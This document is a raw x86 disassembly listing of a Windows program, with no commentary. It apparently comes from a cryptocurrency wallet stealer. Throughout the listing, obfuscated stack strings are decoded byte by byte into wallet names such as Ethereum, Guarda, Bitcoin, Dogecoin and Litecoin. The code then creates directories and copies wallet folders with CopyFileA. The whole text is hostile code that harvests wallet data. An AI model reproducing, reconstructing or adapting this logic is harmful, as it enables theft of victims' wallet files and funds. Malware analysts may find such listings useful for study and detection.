xor edx, edx
nop dword [eax]
movzx ecx, byte [esi + edx]
push ecx
call fcn.004606a0
mov byte [esi + edx], al
inc edx
cmp edx, 0xf
jb 0x411fc0
mov byte [ebp - 4], 0x66
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411fe0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x413c0f
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
push ecx
cmovae eax, dword [ebp - 0x54]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00467530
or dword [ebp - 0x80], 4
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0x170]
push 0
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0x15c], 0x10
push ecx
cmovae eax, dword [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x80], 0xfffffffb
mov esi, eax
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x78]
call fcn.00402890
test esi, esi
je 0x412061
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x41208e
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x67
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, closesocket
and edi, 0xf7ffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x526ba0]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x39
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x4120c0
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4120f0
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402aa0
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x158]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp dword [ebp - 0x144], 0x10
lea ecx, [ebp - 0x158]
cmovae ecx, dword [ebp - 0x158]
call fcn.0040b930
test al, al
je 0x41227a
mov dword [ebp - 0x1a], 0x223e0f16
xor ecx, ecx
mov dword [ebp - 0x16], 0x3f2f382f
mov word [ebp - 0x12], 0x27
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x412165
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x1a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412184
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413c14
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x10000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x4121ec
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412265
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x6c
sub esp, 0x18
lea eax, [ebp - 0x158]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x6d
mov byte [ebp - 4], 0x6b
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x412238
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412265
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x6e
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xefffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x54]
call fcn.00402890
mov dword [ebp - 0x30], 0x2b3f0d16
xor ecx, ecx
mov dword [ebp - 0x2c], 0x2b2e38
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x412290
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4122c0
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402aa0
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xb0]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp dword [ebp - 0x9c], 0x10
lea ecx, [ebp - 0xb0]
cmovae ecx, dword [ebp - 0xb0]
call fcn.0040b930
test al, al
je 0x41289c
mov dword [ebp - 0x30], 0x2b3f0d16
xor ecx, ecx
mov dword [ebp - 0x2c], 0x2b2e38
nop
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x412330
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412350
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413c19
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x20000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x4123bc
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412887
mov dword [ebp - 0x1b], 0x2e240316
xor ecx, ecx
mov dword [ebp - 0x17], 0x2e2f322f
mov word [ebp - 0x13], 0x80e
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x4123e0
mov byte [ebp - 4], 0x73
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412400
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0xa0]
sub eax, edx
cmp eax, ecx
jb 0x413c1e
cmp dword [ebp - 0x9c], 0x10
lea eax, [ebp - 0xb0]
push ecx
cmovae eax, dword [ebp - 0xb0]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00467530
mov esi, dword [ebp - 0x80]
lea ecx, [ebp - 0x78]
or esi, 8
mov dword [ebp - 0x80], esi
cmp dword [ebp - 0x64], 0x10
cmovae ecx, dword [ebp - 0x78]
call fcn.0040b930
and esi, 0xfffffff7
mov byte [ebp - 0xd], al
mov dword [ebp - 0x80], esi
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x412592
lea eax, [ebp - 0x1b]
push eax
call fcn.00413c40
mov esi, eax
xor edx, edx
nop word [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x412490
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
test al, al
jne 0x4124e2
push 0
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412586
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x1b]
push eax
call fcn.00413c40
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x412510
sub esp, 0x18
lea edx, [ebp - 0xb0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x76
mov byte [ebp - 4], 0x74
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x412559
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412586
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x77
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
mov dword [ebp - 0x1f], 0x29250616
xor ecx, ecx
mov dword [ebp - 0x1b], 0x196a262b
mov dword [ebp - 0x17], 0x2b38253e
mov word [ebp - 0x13], 0x2f2d
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x4125b3
lea eax, [ebp - 0x1f]
push eax
lea edx, [ebp - 0xb0]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x78
mov ecx, eax
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x412712
lea eax, [ebp - 0x1f]
push eax
call fcn.00413c70
mov esi, eax
xor edx, edx
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x412615
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
test al, al
jne 0x412667
push 0
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412706
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x7a
lea eax, [ebp - 0x1f]
push eax
call fcn.00413c70
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x412690
sub esp, 0x18
lea edx, [ebp - 0xb0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x7b
mov byte [ebp - 4], 0x79
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x4126d9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412706
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x7c
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
lea eax, [ebp - 0x21]
push eax
call fcn.00413ca0
mov esi, eax
xor edx, edx
nop
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x412720
push esi
lea edx, [ebp - 0xb0]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x7d
mov ecx, eax
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x412882
lea eax, [ebp - 0x21]
push eax
call fcn.00413ca0
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x412780
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
test al, al
jne 0x4127d2
push 0
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412876
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x7f
lea eax, [ebp - 0x21]
push eax
call fcn.00413ca0
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x412800
sub esp, 0x18
lea edx, [ebp - 0xb0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x80
mov byte [ebp - 4], 0x7e
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x412849
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412876
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x81
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, closesocket
and edi, 0xdfffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x526270]
xor ecx, ecx
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x2f2d252e
mov dword [ebp - 0x44], 0x262b3d64
mov dword [ebp - 0x40], 0x3e2f26
nop
movzx eax, byte [ebp + ecx - 0x58]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 0x1b
jb 0x4128c0
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4128f0
sub ecx, edx
lea eax, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402aa0
mov byte [ebp - 4], 0x82
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xc8]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x78]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp - 0xc8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x85
mov byte [ebp - 4], 0x84
call fcn.0040b890
add esp, 0x18
test al, al
je 0x412af3
mov dword [ebp - 0x1b], 0x263f0716
xor ecx, ecx
mov dword [ebp - 0x17], 0x250e233e
mov word [ebp - 0x13], 0x2f2d
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x412974
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412993
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413c23
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x40000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x4129ff
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412ade
lea eax, [ebp - 0x22]
push eax
call fcn.00413d00
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0x11
jb 0x412a10
mov byte [ebp - 4], 0x87
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412a30
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x413c28
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
push ecx
cmovae eax, dword [ebp - 0x54]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00467530
or dword [ebp - 0x80], 1
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0xc8]
push 0
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0xb4], 0x10
push ecx
cmovae eax, dword [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x80], 0xfffffffe
mov esi, eax
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x78]
call fcn.00402890
test esi, esi
je 0x412ab1
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412ade
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x88
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xbfffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x54]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x89
xor ecx, ecx
mov dword [ebp - 0x18], 0x293e2308
mov dword [ebp - 0x14], 0x242325
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x412b20
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412b57
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x8a
mov byte [ebp - 4], 0x84
mov edi, dword [ebp - 0x38]
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x8b
xor ecx, ecx
mov dword [ebp - 0x19], 0x2f2d250e
mov dword [ebp - 0x15], 0x24232529
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x412bb0
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412be7
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x8c
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x8d
xor ecx, ecx
mov dword [ebp - 0x19], 0x2425240b
mov dword [ebp - 0x15], 0x24232529
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x412c34
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412c70
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x8e
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x8f
xor ecx, ecx
mov dword [ebp - 0x18], 0x91b0808
mov dword [ebp - 0x14], 0x242325
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x412cc0
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412cf7
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x90
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x91
xor ecx, ecx
mov dword [ebp - 0x19], 0x22392b0e
mov dword [ebp - 0x15], 0x2f382509
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x412d44
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412d80
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x92
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x93
xor ecx, ecx
mov dword [ebp - 0x1b], 0x3825260c
mov dword [ebp - 0x17], 0x25292423
mov word [ebp - 0x13], 0x2423
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x412dd3
sub esp, 0x18
lea ecx, [ebp - 0x1b]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412e10
sub ecx, esi
lea eax, [ebp - 0x1b]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x94
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x95
xor ecx, ecx
mov dword [ebp - 0x38], 0x242b380c
mov word [ebp - 0x34], 0x2521
mov byte [ebp - 0x32], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x412e60
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412e97
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x96
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x97
xor ecx, ecx
mov dword [ebp - 0x19], 0x232f380c
mov dword [ebp - 0x15], 0x24232529
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x412ee4
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412f20
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x98
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f530
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x99
xor ecx, ecx
mov dword [ebp - 0x1f], 0x2e26250d
mov dword [ebp - 0x1b], 0x24232509
mov dword [ebp - 0x17], 0x60d626a
mov word [ebp - 0x13], 0x630e
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x412f80
sub esp, 0x18
lea ecx, [ebp - 0x1f]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
